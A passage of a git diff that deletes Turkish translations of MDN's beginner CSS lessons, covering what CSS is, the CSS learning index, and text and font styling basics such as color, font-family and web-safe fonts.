href="https://wiki.developer.mozilla.org/tr/docs/Learn/CSS/Building_blocks/Values_and_units#Numbers_lengths_and_percentages" rel="nofollow">boyut birimlerini</a> değer olarak alabilir. Fakat <code>color</code> niteliğine biri uzunluk birimi atamana izin verilmez.</p> - -<p>Bir CSS stil sayfası, birbiri ardına yazılmış birçok kuralı içerecektir.</p> - -<pre class="brush: css notranslate">h1 { - color: red; - font-size: 5em; -} - -p { - color: black; -}</pre> - -<p>Bazı değerleri hızlı bir şekilde öğrendiğini, bazılarını ise araştırman gerektiğini göreceksin. MDN'deki nitelik referans sayfaları, unuttuğun da veya bir değer olarak başka neleri kullanabileceğini bilmek istediğinde, nitelikler ve değerleri hakkında bulabileceğin kapsamlı bilgiler sunar.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: MDN <a href="https://wiki.developer.mozilla.org/tr/docs/Web/CSS/Reference">CSS referans</a>'da listelenen tüm CSS niteliklerinin açıklama sayfalarına bağlantılar bulabilirsin. Alternatif olarak, bir CSS niteliği hakkında daha fazla bilgi edinmen gerektiğinde, favori arama motorun da "mdn <em>css-feature-name</em>" diye aramaya alışmalısın. Örn; "mdn color" ve "mdn font-size"!</p> -</div> - -<h2 id="CSS_modülleri">CSS modülleri</h2> - -<p>CSS kullanarak stil verebilceğin pek çok şey olduğundan, dil modüllere bölünmüştür. MDN'yi keşfederken bu modüllere atıfta bulunacağımızı göreceksin ve belge sayfalarının çoğu belirli bir modül için düzenlenmiştir. Örn; ne için kullanıldığı ve alabileceği farklı nitelikleri görebilmek için <a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Web/CSS/CSS_Backgrounds_and_Borders" rel="nofollow">Arka Palanlar ve Kenarlıklar</a> modüllerine MDN refaransından bakabilirsin. Ayrıca, teknolojiyi tanımlayan CSS Spesifikasyonuna bağlantılar da bulacaksın (aşağıya bak).</p> - -<p>Bu aşamada CSS'in nasıl yapılandırıldığı konusunda çok fazla endişelenmene gerek yok, ayrıca bir niteleğin diğer öğelerde de kullanılabildiğinin farkındaysan bu aradığın bilgiye ulaşmanı kolaylaştırabilir, bir öğe için öğrendiğin nitelik bigileri, kullanılabildiği diğer öğe içinde aynı kural düzenine sahiptir.</p> - -<p>Kesin bir örnek vermek gerekirse, Arka Planlar ve Kenarlıklar modülüne geri dönelim — bu modülde tanımlacak <code><a href="https://wiki.developer.mozilla.org/tr/docs/Web/CSS/background-color">background-color</a></code> ve <code><a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Web/CSS/border-color" rel="nofollow">border-color</a></code> nitelik değerlerinin aynı değerleri alabileceğini düşünebilirsin. Haklısında!</p> - -<h3 id="CSS_özellikleri">CSS özellikleri</h3> - -<p>Tüm web teknolojileri (HTML, CSS, JavaScript, vb.), <span class="ILfuVd"><span class="hgKElc">Standardizasyon</span></span> konsorsiyumları ({{glossary("W3C")}}, {{glossary("WHATWG")}}, {{glossary("ECMA")}} veya {{glossary("Khronos")}} gibi) tarafından yayınlanan standartlar adı verilen dev dokümanlarda tanımlanır.</p> - -<p>CSS'de farklı değildir — W3C içindeki <a class="external external-icon" href="https://www.w3.org/Style/CSS/" rel="noopener">CSS Working Group</a> adı verilen bir grup tarafından geliştirilmiştir. Bu grup; tarayıcı sağlayıcılarının, CSS ile ilgilenen diğer şirketlerin temsilcileri ve bağımsız olarak hareket eden, <em>davetli uzmanlar</em> olarak bilinen ve üye bir kuruluşa bağlı olmayan kişilerden oluşmaktadır.</p> - -<p>Yeni bir CSS özelliği, CSS Working Group tarafından belirlenir veya geliştirilir. Bu yenilik için bir tarayıcı bir yeteğene sahip olmak istemiş olabilir, web tasaraımcıları ve geliştiricileri bir nitelik isteğinde bulunmuş olabilirler veya çalışma grubunun kendisi bir gereksinim olduğunu düşünmüş olabilir. Bunlar gibi durumlarda organizasyondan yeni CSS niteliği için çalışma başlatır ve yeni niteliğin eski web sitelerini bozacak bir şekilde tanımlama yapılmaması için grub çok çalışmaktadır. 2000 yılında yayınlanan ve o zamanki sınırlı CSS niteliklerini kullanan bir web sayfası bugün hala kullanılabiliyor olması gerekir.</p> - -<p>CSS'e yeni başlayan biri olarak, CSS niteliklerini ezici bulman olasıdır. Bir çok deneyimli geliştirici, MDN belgelerine veya diğer eğitimlere başvurmayı tercih eder. Bu sayede, her zaman bir kaynak bulabileceğini bildiğinde, kullandığın CSS'i, tarayıcı desteğini(aşağıya bakın) ve nitelikler arasındaki ilişkiyi anlamak için zaman harcamaya değer.</p> - -<h2 id="Tarayıcı_desteği">Tarayıcı desteği</h2> - -<p>CSS belirlendikten sonra, sadece bir veya daha fazla tarayıcı tarafından desteklenmiş ise web sayfalarının geliştirilmesinde kullanılabilir. Bu, CSS dosyamızdaki talimatın ekrana çıktısı alınabilecek bir kurala dönüştürmek için desteklendiği anlamına gelir. <a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Learn/CSS/First_steps/How_CSS_works" rel="nofollow">CSS Nasıl Çalışır</a> dersinde bu sürece daha fazla bakacağız. Tüm tarayıcıların bir niteliği aynı anda uygulaması alışılmadık bir durumdur ve bu nedenle genellikle bazı tarayıcılarda CSS'in bir kısmını kullanıp, bir kısmını da kullanamayacağız. Bu nedenle, tarayıcıların CSS'in hangi niteliklerini desteklediğini kontrol etmek faydalıdır. MDN'deki her nitelik sayfasında, ilgilendiğimiz niteliğin desteklenme durumunu görebilir ve onun her tarayıcıda çalışıp çalışmayacağını anlayabiliriz.</p> - -<p>Aşağıda, CSS <code><a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Web/CSS/font-family" rel="nofollow">font-family</a></code> niteliği için destek tablosu yer almaktadır.</p> - -<p>{{Compat("css.properties.font-family")}}</p> - -<h2 id="Sırada_ne_var">Sırada ne var?</h2> - -<p>Artık CSS'in ne olduğunu biraz anladığına göre, CSS'i kendin yazmaya başlabileceğin <a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Learn/CSS/First_steps/Getting_started" rel="nofollow">CSS ile Başlarken</a> bölümüne geçebiliriz.</p> - -<p>{{NextMenu("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Learn/CSS/First_steps/What_is_CSS" rel="nofollow">CSS nedir?</a></li> - <li><a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Learn/CSS/First_steps/Getting_started" rel="nofollow">CSS'ye başlarken</a></li> - <li><a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Learn/CSS/First_steps/How_CSS_is_structured" rel="nofollow">CSS nasıl yapılandırılır</a></li> - <li><a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Learn/CSS/First_steps/How_CSS_works" rel="nofollow">CSS nasıl çalışır</a></li> - <li><a class="new" href="https://wiki.developer.mozilla.org/tr/docs/Learn/CSS/First_steps/Using_your_new_knowledge" rel="nofollow">Öğrendiklerimizi uygulamak</a></li> -</ol> diff --git a/files/tr/learn/css/index.html b/files/tr/learn/css/index.html deleted file mode 100644 index 2b3cd638c9..0000000000 --- a/files/tr/learn/css/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: CSS kullanarak HTML şekillendirmeyi öğrenin -slug: Learn/CSS -tags: - - Başlangıç - - Beginner - - CSS - - CodingScripting - - Debugging - - Hata Ayıklama - - Landing - - Scrip Kodlama - - Stil - - Style - - Tema - - Topic - - başlık - - length - - specificity -translation_of: Learn/CSS -original_slug: Öğren/CSS ---- -<div>{{LearnSidebar}}</div> - -<p class="summary">Basamaklı Stil Sayfaları (ing. Cascading Stylesheets) — veya {{glossary("CSS")}} — {{glossary("HTML")}}'den sonra öğrenmen gereken ikinci dildir. HTML içeriğin yapısal ve şematik tanımlamasında kullanılırken; CSS, dizayn etmek ve düzenlemek için kullanılır. Örneğin: CSS'i içeriğin fontunu, rengini, büyüklüğünü ve boşluklarını değiştirmek için kullanabilir, sütunları ayırabilir ya da animasyon veyahut decoratif özellikleri ekleyebilirsin.</p> - -<div class="callout"> -<h3 id="Bir_front-endarayüz_geliştiricisi_mi_olmak_istiyorsun">Bir front-end(arayüz) geliştiricisi mi olmak istiyorsun?</h3> - -<p>Hedefine ulaşabilmen için ihtiyanıcın olan tüm temel bilgileri içeren bir kurs hazırladık.</p> - -<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Başla</a></p> -</div> - -<h2 id="Önkoşullar">Önkoşullar</h2> - -<p>CSS'i öğrenmeye başlamadan önce HTML'nin temellerini öğrenmelisin. Bunun için <a href="/tr/docs/Learn/HTML/Introduction_to_HTML">HTML'ye Giriş</a> eğitiminden başlayabilirsin. Bu kısımda şunları öğreneceksin:</p> - -<ul> - <li><a href="/tr/docs/Learn/CSS/Introduction_to_CSS">CSS'ye Giriş</a> kısmı ile CSS başlangıç</li> - <li>Daha gelişmiş <a href="/tr/docs/Learn/HTML#Modules">HTML modülleri</a></li> - <li><a href="/tr/docs/Learn/JavaScript">JavaScript</a>, ve web sayfalarına dinamik işlevsellik eklemek için nasıl kullanılacağını</li> -</ul> - -<p>HTML'nin temellerini anladıktan sonra, iki konu arasında gidip gelerek aynı anda HTML ve CSS öğrenmeni öneririm. Bunun nedeni, HTML'eye CSS'i uyguladığın da, öğrenmesi çok daha ilginç ve daha eğlenceli olmasıdır. Ayrıca HTML'yi bilmeden CSS'yi gerçenten öğrenemezsin.</p> - -<p>Bu konuya başlamadan önce, bilgisayarları kullanma ve interneti basit bir şekilde kullanma (örn., gazete okumak, konu araştırmak) hakkında bilgi sahibi olmalısın. <a href="/tr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Gerekli yazılımların kurulumu</a> bölümünde ayrıntılı olarak açıklandığı gibi gerekli yazılımların kurulu olduğu bir sistem ve <a href="/tr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Dosyalarla çalışma</a> bölümünde ayrıntılı olarak anlatıldığı şekilde dosyaların nasıl oluşturulacağını ve yönetileceğini öğrenmiş olman gerekir — her ikiside <a href="/tr/docs/Learn/Getting_started_with_the_web">Web'e başlarken</a> eğitiminin bir parçasıdır.</p> - -<p>Web geliştirme konusunda tamamen yeniysen, bu konulara devam etmeden önce <a href="/tr/docs/Learn/Getting_started_with_the_web">Web'e başlarken</a> eğitimini adım adım çalışmanı öneririz. Bununla birlikte <a href="/tr/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS'in temelleri</a> dersinde anlatılanların çoğu, <a href="/tr/docs/Learn/CSS/First_steps">CSS'e ilk adım</a> bölümünde daha ayrıntılı bir şekilde ele alınmaktadır.</p> - -<h2 id="Bölümler">Bölümler</h2> - -<p>Bu konunun daha iyi anlaşılması için öğrenmeye aşağıda belirtilen sıra ile ilerlenmesi gerekmektedir. Hakkında bilgi sahibi olduğunu düşündüğün bölümleri atlama, Sırasıyla ilerleyerek bilgilerinide pekiştirmiş olursun.</p> - -<dl> - <dt><a href="/tr/docs/Learn/CSS/First_steps">CSS'e ilk adım</a></dt> - <dd>CSS (Cascading Style Sheets) web sayfalarını biçimlendirmek ve düzenlemek için kullanılır — örn. içeriğinin yazı tipini, rengini, boyutunu ve aralığını değiştirmek, birden çok sütuna bölmek veya animasyonlar ve diğer dekoratif özellikler eklemek için. Bu kısım, CSS'in nasıl çalıştığı, sözdiziminin neye benzediği ve bunu HTML'ye stil eklemek için nasıl kullanacağın hakkında temel bilgiler verecektir.</dd> - <dt><a href="/tr/docs/Learn/CSS/Building_blocks">CSS'in yap taşları</a></dt> - <dd> - <p class="summary">Bu bölüm <a href="https://developer.mozilla.org/tr/docs/Learn/CSS/First_steps">CSS'e ilk adım</a>'ın kaldığı yerden devam ediyor- artık dile ve sözdizimine aşina oldun ve onu kullanma konusunda bazı temel bilgiler edindin, biraz daha derine dalmanın vakti geldi. Bu bölümde, <a class="external external-icon" title="Cascade">art arda denetim</a> ve mirası, tüm seçici türlerini, birimleri, boyutlandırmayı, arka planların ve kenarlıkların stilini belirlemeyi, hata ayıklamayi ve çok daha fazlasını inciler</p> - - <p class="summary">Buradaki amaç, size yetkin CSS yazmak için bir araç seti sağlamak ve <a href="https://developer.mozilla.org/tr/docs/Learn/CSS/Styling_text">metin şekillendirme</a> ve <a href="https://developer.mozilla.org/tr/docs/Learn/CSS/CSS_layout">CSS düzeni</a> gibi daha spesifik kurallara geçmenden önce tüm temel kavramları anlamana yardımcı olmaktır.</p> - </dd> - <dt><a href="/tr/docs/Learn/CSS/Styling_text">Metin stilini belirleme</a></dt> - <dd>CSS dilinin temelleri ele alındığında, odaklanman gereken bir sonraki CSS konusu, CSS ile yapacağın en yaygın şeylerden biri olan metnin stilini oluşturmaktır. Burada yazı tipini, kalınğı, italiği, satır ve harf aralığını, alt gölgeler ve diğer metin özelliklerini ayarlama da dahil olmak üzere metin stilinin temellerine bakıyoruz. Sayfana özel yazı tiplerini uygulamaya; listeleri ve bağlantıları şekillendirmeye bakarak bu bölümü tamamlıyoruz.</dd> - <dt><a href="/tr/docs/Learn/CSS/CSS_layout">CSS düzeni</a></dt> - <dd>Bu kısma kadar CSS'in temellerini, metnin stilini ve içeriğinin içinde bulunduğu kutuları nasıl biçimlendirip değiştireceğini inceledik. Şimdi, kutularını görüntü alanına ve bir birlerine göre yerleşimlerini düzenlemeye bakma zamanı. CSS düzenine derinlemesine dalarak; farklı görüntü ayarlarına, flexbox, CSS ızgarası ve konumlandırma gibi modern düzen araçlarına, ayrıca hala bilmek isteyebileceğin bazı eski tekniklerin ön koşullarını ele alacağız.</dd> -</dl> - -<h2 id="Yaygın_sorunları_CSS_ile_çözme">Yaygın sorunları CSS ile çözme</h2> - -<p><a href="/tr/docs/Learn/CSS/Howto">Yaygın sorunları çözmek</a> için CSS kullanma; bir web sayfası oluştururken çok yaygın sorunları çözmek için CSS'in nasıl kullanılacağını açıklayan içerik bölümlerine bağlantılar sağlar.</p> - -<p>Başlangıçtan itibaren, renkleri öncelikle HTML öğelerine ve arka planlarına uygula, öğelerin boyutunu, şeklini ve konumunu değiştirin ve öğeler üzerinde kenarlık ekle ve bunları tanımla. CSS'in temellerini sağlam bir şekilde anladıktan sonra yapamayacağın pek bir şey yoktur. CSS öğrenmenin en iyi yanlarından biri, temelleri öğrendikten sonra, aslında nasıl yapılacağını henüz bilmesen bile, genellikle neyin yapılabileceği ve yapılamayacağı konusunda oldukça iyi bir öngörüye sahip olmandır.</p> - -<h2 id="CSS_tuhaf">"CSS tuhaf"</h2> - -<p>CSS, karşılaşacağın çoğu programlama dilinden ve tasarım aracından biraz farklı çalışır. Aşağıdaki videoda, Miriam Suzanne CSS hakkında yararlı bir kaç açıklamada bulunuyor.</p> - -<p>{{EmbedYouTube("aHUtMbJw8iA")}}</p> - -<h2 id="Göz_at">Göz at</h2> - -<dl> - <dt><a href="/tr/docs/Web/CSS">MDN'de CSS</a></dt> - <dd>CSS dilinin tüm özellikleri içn ayrıntılı kaynak belgeleri bulacağın MDN, CSS eğitimine ana giriş noktasıdır. Burası ziyaret etmek için harika bir yer.</dd> -</dl> diff --git a/files/tr/learn/css/styling_text/fundamentals/index.html b/files/tr/learn/css/styling_text/fundamentals/index.html deleted file mode 100644 index eba906eeca..0000000000 --- a/files/tr/learn/css/styling_text/fundamentals/index.html +++ /dev/null @@ -1,738 +0,0 @@ ---- -title: Temel metin ve yazı tipi biçimi -slug: Learn/CSS/Styling_text/Fundamentals -tags: - - Acemi - - Aile - - Aralık - - Article - - Beginner - - CSS - - Ders - - Genişlik - - Guide - - Hizalama - - Kısa Tanım - - Metin - - Rehber - - Style - - Tarz - - Text - - Yazı Tipi - - aligment - - family - - font - - shorthand - - spacing - - weight -translation_of: Learn/CSS/Styling_text/Fundamentals -original_slug: Öğren/CSS/Styling_text/Fundamentals ---- -<div>{{LearnSidebar}}</div> - -<div>{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}</div> - -<p><span class="seoSummary">Bu derste, {{glossary("CSS")}} ile metin stilinde ustalaşma yolculuğuna başlayacağız.</span> Burada, yazı tipi genişliğini, ailesini, yazı tipi kısa tanımını, hizlamasını, satır/harf aralığını ve diğer efektleri de dahil omak üzere metin/yazı tipi stilinin tüm temellerini ayrıntılı olarak inceleyeceğiz.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Öğren/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Öğren/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Öğren/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Öğren/CSS/Ilk_adimlar" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Web sayfalarında metin biçimlendirmek için gereken temel özellikleri ve teknikleri öğrenmek.</td> - </tr> - </tbody> -</table> - -<h2 id="CSSde_metnin_stilini_belirlemeye_neler_dahildir">CSS'de metnin stilini belirlemeye neler dahildir?</h2> - -<p>HTML ve CSS ile yaptığın çalışmalarda zaten deneyimlemiş olacağın gibi, bir öğenin içindeki metin, öğenin içerik kutusunun içine yerleştirilir. İçerik alanının sol üstünde (veya RTL metin yönünde sağ üstte) başlar ve satırın sonuna doğru akar. Kutunun sınırına ulaştığında, bir sonraki satıra iner ve tüm içerik kutuya yerleştirilinceye kadar sonraki satıra devam eder. Metin içeriği etkili bir şekilde bir dizi satır içi öğe gibi davranır. Satırlar birbirlerine bitişik olarak yerleştirilir ve satır sonuna ulaşılmadıkça veya {{htmlelement("br")}} etikeytiyle karşılaşmadıkça satır kesmeleri(satır başı) oluşturulmaz.</p> - -<div class="note"> -<p><strong>Not</strong>: Yukarıdaki paragraf kafanızın karışmasına neden oluyorsa, devam etmeden önce <a href="/tr/docs/Öğren/CSS/CSS_yapi_taslari/The_box_model">Kutu Modeli</a> dersimizi bir daha inceleyin.</p> -</div> - -<p>Metni bimlendirmek için kullanılan CSS özellikleri genellikle iki kategoriye ayrılır ve bunları bu derste ayrı ayrı inceleyeceğiz:</p> - -<ul> - <li><strong>Font stilleri</strong>: Metne uygulanan fontu etkileyen, hangi fontun uygulanacağını, ne kadar büyük olduğunu, kalınlığını, italik olup olmadığını gibi özellikler.</li> - <li><strong>Metnin mizanpaj stilleri</strong>: Metinin aralığını, satır/harf arasındaki boşluğunu ve metinin kutu içerisinde hizalanmasının ddeğiştirilmesi gibi özellikler.</li> -</ul> - -<div class="note"> -<p><strong>Not</strong>: Bir öğenin içindeki metnin tek bir varlık olarak etkilendiğini unutmayın. Metni {{htmlelement("span")}} veya {{htmlelement("strong")}} gibi öğelerin içine almadıkça veya <a href="/tr/docs/Web/CSS/::first-letter">::first-letter</a>(bir öğenin içindeki metnin ilk harfi), <a href="/tr/docs/Web/CSS/::first-line">::first-line</a>(bir öğenin içindeki metnin ilk satırı) veya <a href="/tr/docs/Web/CSS/::selection">::selection</a>(imleç tarafından o anda seçilen kısmı) gibi sözde öğeleri kullanmadıkça, alt bölümleri seçemez ve bunlara stil uygulayamaz.</p> -</div> - -<h2 id="FontlarYazı_Tipleri">Fontlar(Yazı Tipleri)</h2> - -<p>Fontları şekillendirme özelliklerine bakalım. Bu örnekte, aşağıdaki gibi görünen HTML öreneğine bazı farklı CSS özellikleri uygulayacağız:</p> - -<pre class="brush: html notranslate"><h1>Tommy the cat</h1> - -<p>Well I remember it as though it were a meal ago...</p> - -<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter - may have nestled its way into his mighty throat. Many a fat alley rat -had met its demise while staring point blank down the cavernous barrel of - this awesome prowling machine. Truly a wonder of nature this urban -predator — Tommy the cat had many a story to tell. But it was a rare -occasion such as this that he did.</p></pre> - -<p><a href="http://mdn.github.io/learning-area/css/styling-text/fundamentals/">Bitmiş örneği GitHub</a>'da bulabilirsiniz (ayrıca <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/fundamentals/index.html">kaynak kodunu</a> da görebilirsiniz).</p> - -<h3 id="Renk">Renk</h3> - -<p>{{cssxref("color")}} niteliği hedeflenen öğedeki görünen içeriğin rengini belirler(bunlar, genellikle metindir fakat metne {{cssxref("text-decoration")}} niteliğiyle uygulanan alt ve üst çizgidir).</p> - -<p><code>color</code> niteliği herhangi bir <a href="/tr/Öğren/CSS/CSS_yapi_taslari/Values_and_units#Colors">CSS renk birimini</a> kabul edebilir. Örneğin:</p> - -<pre class="brush: css notranslate">p { - color: red; -}</pre> - -<p>Bu kural paragraf renginin, taryıcının varsayılan rengi olan siyah yerine kırmızı olmasına neden olur:</p> - -<div class="hidden"> -<pre class="brush: html notranslate"><h1>Tommy'nin kedisi</h1> -<p>Hatırladığım kadarıyla bir öğün öncesiydi...</p> -<p>Tommy'nin kedisi, güçlü boğazına kaçan yabancı maddeyi -temizlemek için geri çekildi. Pek çok şişko sokak faresi, -bu harika makinanın güçlü dişleri arasında kendi ölümüyle -karşılaştı. Gerçekten harika bir şehir avcısı olan kedinin -anlatılacak çok hikayesi vardı. Ama bu yaptığı nadir bir durumdu.</p> -</pre> -</div> - -<p>{{ EmbedLiveSample('Renk', '100%', '230') }}</p> - -<h3 id="Font_ailesi">Font ailesi</h3> - -<p>Metninizde farklı bir yazı tipi ayarlamak için {{cssxref("font-family")}} niteliği kullanılır — bu, tarayıcının hedeflenen öğelere uygulaması için bir font (veya font listesi) belirlememize olanak tanır. Tarayıcı, yalnızca web sitesine erişilen makinede mevcutsa bir yazı tipi uygular; mevcut değilse tarayıcı {{anch("Default fonts", "varsayılan fontu")}} kullanır. Basit bir örnek şöyle görünür:</p> - -<pre class="brush: css notranslate">p { - font-family: arial; -}</pre> - -<p>Bu, bir sayfadaki tüm paragrafların herhangi bir bilgisayarda bulunan arial fontunu kullanmasını sağlar.</p> - -<h4 id="Web_uyumlu_fontlar">Web uyumlu fontlar</h4> - -<p>Font kullanılabilirliliğinden bahsetmişken, genellikle tüm işletim sistemlerinde mevcut olan ve bu sayede endişe duyulmadan kullanılabilen bir kaç font vardır. Bunlara <strong>web uyumlu font(yazı tipleri)</strong> denir.</p> - -<p>Çoğu zaman, web geliştiricileri olarak, metin içeriğimizi görüntülemek için kullanacağımız font üzerinde daha fazla kontrole sahip olmak isteriz. Bu aşamada karşımıza çıkacak sorun, web sayfasını görüntülemek için kullanılan cihazda(Bilgisayar, tablet, akıllı telefon vb) hangi fontların yüklü olduğunu bilememizdir. Bunu bilmenin bir yolu da yoktur, ancak web uyumlu fontların en çok kullanılan işletim sistemlerinde(macOS, Windows, en yaygın Linux dağıtımları, iOS ve Android) bir örneğinin mevcut olduğunu bilmeniz ilk aşamada yeterlidir.</p> - -<p>Gerçek web uyumlu fontların listesi, işletim sistemleri geliştikçe değişecektir, ancak aşağıdaki fontları şimdilik web için kullanılabilir olduklarını kabul etmek faydalıdır(bunların çoğu, 90'ların sonları ve 2000'lerin başında Microsoft <em><a href="https://en.wikipedia.org/wiki/Core_fonts_for_the_Web">Çekirde Web Fontları</a></em> sayesinde popüler hale gelmiştir):</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Adı</th> - <th scope="col" style="white-space: nowrap;">Genel Tipi</th> - <th scope="col">Notlar</th> - </tr> - </thead> - <tbody> - <tr> - <td>Arial</td> - <td>sans-serif</td> - <td> - <p>Arial'in daha fazla desteğe sahip olmasına rağmen Helvetica'yı tercih edebilirsiniz, çünkü yazı tipinin görünümü neredeyse aynı olsa da, Helvetica'nın daha güzel bir şekle sahip olduğu düşünülür. En bariz farkı iki yazı tipi arasındaki satır aralığı farkıdır. Helvetica biraz daha geniş bir satıra aralığına sahiptir.</p> - </td> - </tr> - <tr> - <td>Courier New</td> - <td>monospace</td> - <td> - <p>Bazı işletim sistemlerinde <em>Courier New</em> yazı tipinin muhtemelen daha eski bir sürümü olan <em>Courier</em> yazı tipine de sahip olabilir. Her iki yazı tipide bir birlerinin yerine kullanılabilecek alternatif olarak gözüksede, daha yeni bir sürüm olan <em>Courier New</em>'in kullanılması tavsiye edilir.</p> - </td> - </tr> - <tr> - <td style="white-space: nowrap;">Georgia</td> - <td>serif</td> - <td></td> - </tr> - <tr> - <td style="white-space: nowrap;">Times New Roman</td> - <td>serif</td> - <td> - <p>Bazı işletim sistemlerinde <em>Times New Roman</em>'ın muhtemelen daha eski bir sürümü olan <em>Times</em> yazı tipine de sahip olabilir. Her iki yazı tipide bir birlerinin yerine kullanılabilecek alternatif olarak gözüksede, daha yeni bir sürüm olan <em>Times New Roman</em>'in kullanılması tavsiye edilir.</p> - </td> - </tr> - <tr> - <td>Trebuchet MS</td> - <td>sans-serif</td> - <td> - <p>Bu yazı tipini kullanırken dikkatli olmalısınız — mobil işletim sistemlerinde yaygın olarak bulunmaz.</p> - </td> - </tr> - <tr> - <td>Verdana</td> - <td>sans-serif</td> - <td></td> - </tr> - </tbody> -</table> - -<div class="note"> -<p><strong>Not</strong>: Güvenle kullanabileceğiniz yazı tipleri listesini bulabileceğiniz kaynaklar arasında, <a href="http://www.cssfontstack.com/">cssfontstack.com</a> sitesi Windows ve macOS işletim sistemlerinde bulunan yazı tiplerinin ne kadar güvenli oldukları ve sistem üzerinde bulunabilirliği hakkında size yardımcı olabilir.</p> -</div> - -<div class="note"> -<p><strong>Not</strong>: Web sayfalarında kullanmak istediğimiz yazı tipinin kurulu olup olmadığına bakmaksızın, her hangi bir yazı tipini kullanmamıza olanak sağlayan bir seçeneğimiz de vardır: <strong>Web yazı tipleri</strong>. Bu konu biraz daha karmaşıktır ve bu ünitenin ilerleyen bölümlerinde <a href="/tr/docs/Öğren/CSS/Styling_text/Web_fonts">ayrı bir derste</a> inceleyeceğiz.</p> -</div> - -<h4 id="Varsayılan_yazı_tipleri">Varsayılan yazı tipleri</h4> - -<p>CSS genel kullanım için yazı tiplerini beş farklı ad altında gruplar: <code>serif</code><font face="Open Sans, Arial, sans-serif">, </font><code>sans-serif</code>,<font face="Open Sans, Arial, sans-serif"> </font><code>monospace</code>, <code>cursive</code> ve <code>fantasy</code>. Bu isimler bir genellemedir ve bu adları kullanırken hangi yazı tipinin kullanılacağı tarayıcı ve tarayıcının kurulu olduğu işletim sistemine bağlıdır. Bu adları, tarayıcının belirlemiş olduğumuz yazı tipine/tiplerine uygun herhangi bir yazı tipiyle eşleştirme yapamadığı durumlarda, bu adlara tanımlanmış herhangi bir yazı tipini belirlemesi için kullanırız.</p> - -<p>Bu beş adlandırma şu şekilde guruplandırılmıştır:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col" style="width: 100px;">Ad</th> - <th scope="col">Tanım</th> - <th scope="col">Örnek</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>serif</code></td> - <td> - <p>Serifli yazı tipleri olarak bilinirler. Harflerde okumayı kolaylaştırdığı düşünülen harflerin köşelerinde hafif çıkıntı ve süslemelerin olduğu yazı tipleridir.</p> - </td> - <td><span style="font-family: serif;">Ben büyük kırmızı bir filim</span></td> - </tr> - <tr> - <td><code>sans-serif</code></td> - <td>Serif içermeyen yazı tipleridir. Yazı tipi düzdür ve daha modern göründüğü düşünülür.</td> - <td><span style="font-family: sans-serif;">Ben büyük kırmızı bir filim</span></td> - </tr> - <tr> - <td><code>monospace</code></td> - <td>Yazı tipinin her karakterinin genişliği aynı olduğu ve genellikle kodun okunurluluğunu kolaylaştırdığı için kodlamalarda kullanılır.</td> - <td><span style="font-family: monospace;">Ben büyük kırmızı bir filim</span></td> - </tr> - <tr> - <td><code>cursive</code></td> - <td>Akıcı bir el yazısını taklit etmesi amaçlanmış yazı tipleridir.</td> - <td><span style="font-family: cursive;">Ben büyük kırmızı bir filim</span></td> - </tr> - <tr> - <td><code>fantasy</code></td> - <td>Daha çok dekoratif amaçla kullanılan süslemeli yazı tipleridir.</td> - <td><span style="font-family: fantasy;">Ben büyük kırmızı bir filim</span></td> - </tr> - </tbody> -</table> - -<h4 id="Yazı_tipi_listesi">Yazı tipi listesi</h4> - -<p>Web sayfalarınızda kullanmak istediğiniz yazı tiplerinin kullanılabilirliğini garanti edemeyeceğiniz için (bir web yazı tipi bile herhangi bir nedenle başarısız olabilir), tarayıcının seçim yapabileceği birden çok yazı tipini tanımlayabiliriz. Bunun için, <code>font-family</code> niteliğine bir birinden virgül ile ayrılmış birden çok yazı tipi adından oluşan bir <strong>yazı tipi listesi</strong> tanımlarız. örn.</p> - -<pre class="brush: css notranslate">p { - font-family: "Trebuchet MS", Verdana, sans-serif; -}</pre> - -<p>Böyle bir durumda, tarayıcı listenin başından başlar ve yazı tipinin işletim sisteminde bulunup bulunmadığına bakar. Yazı tipi varsa, var olan yazı tipini öğelere uygular. Değilse, sonraki yazı tipine geçer ve bu şekilde devam eder.</p> - -<p>Listenin sonunda uygun bir genel yazı tipi grubu adı sağlamak iyi bir yaklaşım olur. Böylece listeelenen yazı tiplerinden hiçbiri mevcut değilse, tarayıcı en azından istediğimiz yazı tipine uygun bir seçim yapmasını sağlayabiliriz. Bu noktayı vurgulamak için, eğer genel adlandırma kullanmaz isek tarayıcı paragraflara varsayılan serifli bir yazı tipi uygulayabilir — bu genellikle Times New Roman olur — sans-serif yazı tipi olmasını istediğimiz durumlar için istediğimiz bir sonuç değil.</p> - -<div class="note"> -<p><strong>Not</strong>: <code>Trebuchet MS</code> gibi birden fazla kelimeden oluşan font isimlerini tırnak içine almak gerekir, örneğin <code>"Trebuchet MS"</code>.</p> -</div> - -<h4 id="Bir_font-family_örneği">Bir font-family 